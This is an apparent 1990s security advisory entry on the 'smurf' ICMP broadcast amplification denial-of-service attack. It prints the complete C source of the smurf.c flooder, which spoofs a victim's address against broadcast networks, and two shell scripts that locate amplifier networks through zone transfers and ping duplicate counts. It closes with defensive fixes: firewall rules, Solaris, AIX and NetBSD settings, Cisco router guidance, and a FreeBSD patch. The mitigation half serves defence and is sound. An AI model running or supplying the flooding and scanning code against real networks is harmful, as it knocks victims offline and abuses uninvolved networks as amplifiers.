COMMAND
smurf attack
SYSTEMS AFFECTED
All systems?
PROBLEM
T. Freak found following. It's about `smurf' multi-broadcast icmp
attack. The `smurf'attack is quite simple. The "smurf" attack,
named after its exploit program, is the most recent in the
category of network-level attacks against hosts. A perpetrator
sends a large amount of ICMP echo (ping) traffic at broadcast
addresses, all of it having a spoofed source address of a victim.
If the routing device delivering traffic to those broadcast
addresses performs the IP broadcast to layer 2 broadcast function
noted below, most hosts on that IP network will take the ICMP
echo request and reply to it with an echo reply each, multiplying
the traffic by the number of hosts responding. On a multi-access
broadcast network, there could potentially be hundreds of machines
to reply to each packet.
Exploit code follows (exploit code ported for BSD systems can be
obtained via smurf #2 in this section):
/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses
* resulting in multiple replies to that host from a single
* packet.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound
* for the malicious activities of individuals who come into
* possession of this program and I refuse to provide help or
* support of any kind and do NOT condone use of this program to
* deny service to anyone or any machine. This is for
* educational use only. Please Don't abuse this.
*
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);
/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
banner();
signal(SIGINT, ctrlc);
if (argc < 6) usage(argv[0]);
if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);
if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n') buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}
void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
}
void usage (char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}
void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
free(packet); /* free willy! */
}
void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}
unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
Hyped added following programs as help to previous. Note that
this script has two parts.
--- bips.sh ---
#!/bin/bash
# find broadcast ip's that reply with 30+ dupes.
# i decided to make this script into two sections. when running
# this make sure both parts are in the same directory.
if [ $# != 1 ]; then
echo "$0 <domain - ie: college.edu>"
else
host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
cat $1.ips | cut -d'.' -f1-3 | sort |\
awk '{ print echo ""$1".255" }' > $1.tmp
cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
rm -f $1.ips $1.tmp
chmod 700 $1.ping
./$1.ping
rm $1.ping
fi
--- chekdup.sh ---
#!/bin/bash
# this checks possible broadcast ip's for a given amount of icmp
# echo replies.
ping -c 2 $1 > $1.out
if
cat $1.out | grep dupl > /dev/null
then
export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
else
export DUPES=1
fi
if [ $DUPES -gt 30 ]; then
echo "$1 had $DUPES dupes" >> bips.results
rm -f $1.out
else
rm -f $1.out
fi
SOLUTION
See:
http://www.quadrunner.com/~chuegen/smurf.txt
for the information on how to protect your network, as well as how
to prevent _helping_ those who are launching the attacks.
MCI is currently working on a patch or dectector of some kind for
it, which is available at:
http://www.internetnews.com/isp-news/1997/10/0901-mci.html
See:
http://www.security.mci.net/dostracker/
for more details. It's a perl script which will log into a series
of Cisco routers and track an attack interface-by-interface to the
edge of the network.
Jon Lewis posted how to fix that under Linux. You can accomplish
that with ipfwadm:
ipfwadm -I -a deny -P icmp -D 123.123.123.0 -S 0/0 0 8
ipfwadm -I -a deny -P icmp -D 123.123.123.255 -S 0/0 0 8
Replace 123.123.123.0 and 123.123.123.255 with the actual network
and broadcast addresses for your lan.
Brad Powell posted same thing for Sun. Below is a shell script
that is part of titan a tool suite that fixes many of these common
problems in/for Solaris (only/mostly).
#!/bin/sh
# bpowell 06/21/97 script to add the ndd line to disable response to echo
# modifies S69inet
#
# Note
###
# This tool suite was written by and is copyright Brad Powell 1991,
# 1992, 1993, 1994, 1995, and 1996, with help and input from Casper Dik,
# Alec Muffett, Dan Farmer, and Matt Archibald.
#
# The copyright holder disclaims all responsibility or liability with
# respect to its usage or its effect upon hardware or computer
# systems, and maintains copyright as set out in the "LICENCE"
# document which accompanies distribution.
#
# Titan version 0.1
#
# setup
PATH=/usr/ucb:/bin:/usr/bin:/sbin
MYNAME=`basename $0`
# Check for execution by root
if [ `/usr/xpg4/bin/id -un` != root ]
then
echo " "
echo >&2 "$MYNAME: error: must be run as root."
echo " "
exit 1
fi
# Introduction
# cat << EOF
#
# This disables ip_respond_to_echo_broadcast so that specific ping crashes
# don't work
# The program modifies /etc/rc2.d/S69inet
#
# ndd -set /dev/ip ip_respond_to_echo_broadcast 0
# EOF
# echo press enter to continue"\c"
# read YN
if test -f /etc/rc2.d/S??inet
then
echo " Now adding the new ndd command"
ed - /etc/rc2.d/S??inet <<- !
g/tcp_old_urp_interpretation
a
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
.
w
Q
!
echo " Modifcations to rc2.d complete"
fi
echo " Done."
On AIX the "no" command is used to turn this feature on and off.
By default AIX will not respond to pings to the brodcast address.
This works only for AIX4. Aix 3 variants will respond to a
broadcast ping, and the 'no' command (for AIX3) does not support
the 'bcastping' directive. For a startup script, the 'no' syntax
for AIX4 is:
no -o bcastping=0 # disable bcast ping responses (default)
no -o bcastping=1 # enable bcast ping responses
Cray Research - A Silicon Graphics Company with current versions
of Unicos and Unicos/mk do not have the ability to reject ICMP
requests send to broadcast addresses. They are tracking this
problem through SPR 709733.
Cisco recommends the following configuration settings as
protection against being used as an intermediary in smurf attacks:
1. Disabling IP directed broadcast for all interfaces on which
it is not needed. This must be done on all routers in the
network, not just on the border routers. The command "no ip
directed-broadcast" should be applied to each interface on
which directed broadcasts are to be disabled. Very few IP
applications actually need to use directed broadcasts, and
it's extremely rare for such an application to be in use in
a network without the knowledge of the network
administrator. Nonetheless, as when any functionality is
disabled, you should be alert for possible problems. This
is the preferred solution for most networks.
2. If your network configuration is simple enough for you
to create and maintain a list of all the directed
broadcast addresses in your network, and if you have a
well-defined perimeter separating your own network from
potentially hostile networks, consider using a filter
at the perimeter to prevent directed broadcasts from
entering the network. For example, if your network
number is 172.16.0.0, and you uniformly use a subnet
mask of 255.255.255.0, then you might use a Cisco access
list entry like:
access-list 101 deny ip 0.0.0.0 255.255.255.255 172.16.0.255 0.0.255.0
Note that this is not a complete access list; it's
simply a single entry. See the Cisco documentation for
more information on configuring access lists. The best
place to apply such a filter is usually on the incoming
side of each router interface that connects to the
potentially hostile network.
FreeBSD patched their release. Patch:
Index: ip_icmp.c
===================================================================
RCS file: /home/ncvs/src/sys/netinet/ip_icmp.c,v
retrieving revision 1.29
retrieving revision 1.30
diff -c -r1.29 -r1.30
*** ip_icmp.c 1997/08/25 16:29:27 1.29
--- ip_icmp.c 1998/05/26 11:34:30 1.30
***************
*** 375,382 ****
case ICMP_ECHO:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0
! && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
icmpstat.icps_bmcastecho++;
break;
}
--- 375,381 ----
case ICMP_ECHO:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcastecho++;
break;
}
***************
*** 385,392 ****
case ICMP_TSTAMP:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0
! && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
icmpstat.icps_bmcasttstamp++;
break;
}
--- 384,390 ----
case ICMP_TSTAMP:
if (!icmpbmcastecho
! && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcasttstamp++;
break;
}
Under NetBSD you can disable directed broadcast with this command,
as root:
# sysctl -w net.inet.ip.directed-broadcast=0
There's also SmurfLog available. The latest version of SmurfLog
can be found at
http://www.sy.net/security